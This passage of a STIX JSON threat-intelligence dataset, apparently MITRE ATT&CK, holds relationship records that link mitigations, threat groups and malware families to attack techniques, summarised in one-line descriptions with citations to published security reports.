                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "source_name": "TechNet Least Privilege"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "source_name": "Microsoft Securing Privileged Access"
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            ],
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        },
        {
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            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
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            "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ",
            "id": "relationship--2686dfb7-60ab-424c-add2-2f164a98cfa4",
            "type": "relationship",
            "modified": "2021-04-26T20:08:32.175Z",
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        {
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            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. ",
            "id": "relationship--fc8ef14d-1a07-4f96-85c3-b62ba6bcffc1",
            "type": "relationship",
            "modified": "2021-04-26T20:08:32.558Z",
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            "relationship_type": "mitigates",
            "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ",
            "id": "relationship--acd4512e-3ef7-4c33-9fc1-c3829efebe60",
            "type": "relationship",
            "modified": "2021-04-20T20:10:26.699Z",
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            "relationship_type": "mitigates",
            "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)",
            "id": "relationship--7fc1c3bb-05f7-4593-b8c3-f9833c114672",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "source_name": "TechNet Least Privilege"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
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            "description": "Enabled features, such as Protected Process Light (PPL), for LSA.(Citation: Microsoft LSA)",
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            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "source_name": "Microsoft LSA"
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            ],
            "type": "relationship",
            "modified": "2021-04-20T20:10:26.714Z",
            "created": "2020-03-16T14:56:19.362Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "relationship_type": "mitigates",
            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.",
            "id": "relationship--9d439426-989c-4407-bbef-ac6af47896cc",
            "type": "relationship",
            "modified": "2021-04-20T20:11:55.220Z",
            "created": "2020-03-16T15:12:49.247Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51",
            "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "external_references": [
                {
                    "source_name": "ESET Ebury Feb 2014",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has been embedded into modified OpenSSH binaries to gain persistent access to SSH credential information.(Citation: ESET Ebury Feb 2014)",
            "relationship_type": "uses",
            "id": "relationship--8d90820b-fd91-4452-aa91-50b783c2da38",
            "type": "relationship",
            "modified": "2020-03-18T19:29:35.154Z",
            "created": "2020-03-16T15:17:43.142Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "external_references": [
                {
                    "source_name": "ESET Ebury Feb 2014",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."
                },
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has used a DGA to generate a domain name for C2.(Citation: ESET Ebury Feb 2014)(Citation: ESET Ebury Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--fc0433bf-560f-4b5f-879c-f87581d7f504",
            "type": "relationship",
            "modified": "2021-02-10T18:41:29.384Z",
            "created": "2020-03-16T15:17:43.158Z"
        },
        {
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            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
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            "description": "Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard dylib folders.",
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        {
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            ],
            "source_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
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            "id": "relationship--bced764f-e4f1-43d0-af3b-ae93d607041a",
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            "modified": "2020-03-16T15:23:31.073Z",
            "created": "2020-03-16T15:23:31.073Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "relationship_type": "subtechnique-of",
            "id": "relationship--7b39173a-092f-4e79-ad19-3af1c780c06c",
            "type": "relationship",
            "modified": "2020-03-16T15:31:05.883Z",
            "created": "2020-03-16T15:31:05.883Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d",
            "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
            "relationship_type": "mitigates",
            "description": "SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.",
            "id": "relationship--d62449f0-cecd-466f-b3e8-c6908f48cfaa",
            "type": "relationship",
            "modified": "2020-03-26T20:58:34.771Z",
            "created": "2020-03-16T15:33:02.944Z"
        },
        {
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            "object_marking_refs": [
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            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
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                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use [PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-TokenManipulation</code> to manipulate access tokens.(Citation: Github PowerShell Empire)",
            "relationship_type": "uses",
            "id": "relationship--9bd9e08d-efda-4710-8158-9e915dce16d9",
            "type": "relationship",
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                {
                    "source_name": "GitHub PoshC2",
                    "url": "https://github.com/nettitude/PoshC2_Python",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."
                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-TokenManipulation for manipulating tokens.(Citation: GitHub PoshC2)",
            "relationship_type": "uses",
            "id": "relationship--cb498ebf-bdb4-476c-9b7a-1a83c19d03fb",
            "type": "relationship",
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "source_name": "FireEye FIN10 June 2017"
                }
            ],
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has moved laterally using the Local Administrator account.(Citation: FireEye FIN10 June 2017)",
            "relationship_type": "uses",
            "id": "relationship--5e56eeb2-9ca5-496d-9348-8e337af5f0d8",
            "type": "relationship",
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            "external_references": [
                {
                    "source_name": "FireEye FIN6 April 2016",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) actors have compressed data from remote systems and moved it to another staging system before exfiltration.(Citation: FireEye FIN6 April 2016)",
            "relationship_type": "uses",
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            "type": "relationship",
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            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used SMTP for C2 communications.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)",
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                {
                    "source_name": "PaloAlto DNS Requests May 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018."
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) uses DNS for C2 communications.(Citation: PaloAlto DNS Requests May 2016)",
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            "type": "relationship",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "description": "Later implants used by [APT28](https://attack.mitre.org/groups/G0007), such as [CHOPSTICK](https://attack.mitre.org/software/S0023), use a blend of HTTP and other legitimate channels for C2, depending on module configuration.(Citation: FireEye APT28)",
            "relationship_type": "uses",
            "id": "relationship--87f45aac-1025-4a44-af9c-db139ea60f78",
            "type": "relationship",
            "modified": "2020-03-17T00:07:27.461Z",
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            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "external_references": [
                {
                    "source_name": "ESET OceanLotus Mar 2019",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--46fa464b-20e0-4c77-9b75-580f9f236c43",
            "type": "relationship",
            "modified": "2020-03-17T03:02:39.724Z",
            "created": "2020-03-17T00:11:31.829Z"
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        {
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            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used email for C2 via an Office macro.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--76ec3407-84df-4bc9-8679-09564ca9329e",
            "type": "relationship",
            "modified": "2020-03-17T00:11:31.843Z",
            "created": "2020-03-17T00:11:31.843Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses SMTP for C2.(Citation: Unit 42 BadPatch Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--3126e151-051a-45ba-bc52-ca6f0f646fbb",
            "type": "relationship",
            "modified": "2020-03-17T00:22:32.905Z",
            "created": "2020-03-17T00:22:32.905Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has staged data on remote MSP systems or other victim networks prior to exfiltration.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)",
            "relationship_type": "uses",
            "id": "relationship--9ffd6752-5d0f-4108-8cab-8541b54c0434",
            "type": "relationship",
            "modified": "2020-12-17T16:16:08.967Z",
            "created": "2020-03-17T00:25:45.291Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "description": "Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over SMTP and POP3.(Citation: ESET Sednit Part 2)",
            "relationship_type": "uses",
            "id": "relationship--31462755-d050-4875-9d0b-0a7eeb276326",
            "type": "relationship",
            "modified": "2020-03-17T00:35:36.515Z",
            "created": "2020-03-17T00:35:36.515Z"
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        {
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            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "external_references": [
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--c50f75fe-e7a9-4190-9ca8-a28187955669",
            "type": "relationship",
            "modified": "2020-03-17T00:38:52.139Z",
            "created": "2020-03-17T00:38:52.139Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used DNS tunneling for C2.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--8de247e5-8d6b-4a07-bd65-ba3c3ca57923",
            "type": "relationship",
            "modified": "2020-03-17T00:38:52.195Z",
            "created": "2020-03-17T00:38:52.195Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "Microsoft SIR Vol 19",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"
                }
            ],
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) can communicate over SMTP and POP3 for C2.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)",
            "relationship_type": "uses",
            "id": "relationship--17049a4f-810d-4928-a0a0-84d4a732ca08",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.791Z",
            "created": "2020-03-17T00:47:59.791Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "external_references": [
                {
                    "source_name": "Symantec W32.Duqu",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"
                }
            ],
            "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)",
            "relationship_type": "uses",
            "id": "relationship--48f74ebb-3a7e-4b65-8e87-04d3bfe02914",
            "type": "relationship",
            "modified": "2020-03-17T00:58:52.997Z",
            "created": "2020-03-17T00:58:52.997Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "description": "[Helminth](https://attack.mitre.org/software/S0170) can use DNS for C2.(Citation: Palo Alto OilRig May 2016)",
            "relationship_type": "uses",
            "id": "relationship--39689be2-bc35-4d89-9233-08bda52a4229",
            "type": "relationship",
            "modified": "2020-03-17T01:30:30.890Z",
            "created": "2020-03-17T01:30:30.890Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                },
                {
                    "source_name": "ThreatStream Evasion Analysis",
                    "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.",
                    "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"
                }
            ],
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DNS for command and control.(Citation: Dell TG-3390)(Citation: ThreatStream Evasion Analysis)",
            "relationship_type": "uses",
            "id": "relationship--7eb3d9b7-8058-4d26-9196-b9a79716c5f9",
            "type": "relationship",
            "modified": "2020-03-17T01:31:14.507Z",
            "created": "2020-03-17T01:31:14.507Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can send email over SMTP.(Citation: Microsoft PLATINUM April 2016)",
            "relationship_type": "uses",
            "id": "relationship--4dd8150f-e20d-4ed0-a12e-c94641d1ba64",
            "type": "relationship",
            "modified": "2020-03-17T01:37:29.722Z",
            "created": "2020-03-17T01:37:29.722Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "source_name": "Unit 42 Kazuar May 2017"
                }
            ],
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses FTP and FTPS to communicate with the C2 server.(Citation: Unit 42 Kazuar May 2017)",
            "relationship_type": "uses",
            "id": "relationship--7c44064a-f697-413c-b0b1-a6b92bf3cfc3",
            "type": "relationship",
            "modified": "2020-03-17T01:39:44.605Z",
            "created": "2020-03-17T01:39:44.605Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalDNS has used DNS for C2.(Citation: NCC Group APT15 Alive and Strong)",
            "relationship_type": "uses",
            "id": "relationship--96a7d789-70a9-42d8-a78e-b7ffd6c9dc69",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.281Z",
            "created": "2020-03-17T01:40:15.162Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) uses HTTP for Command & Control.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)",
            "relationship_type": "uses",
            "id": "relationship--87b4eb41-5272-4aa5-ae2f-3541a754d011",
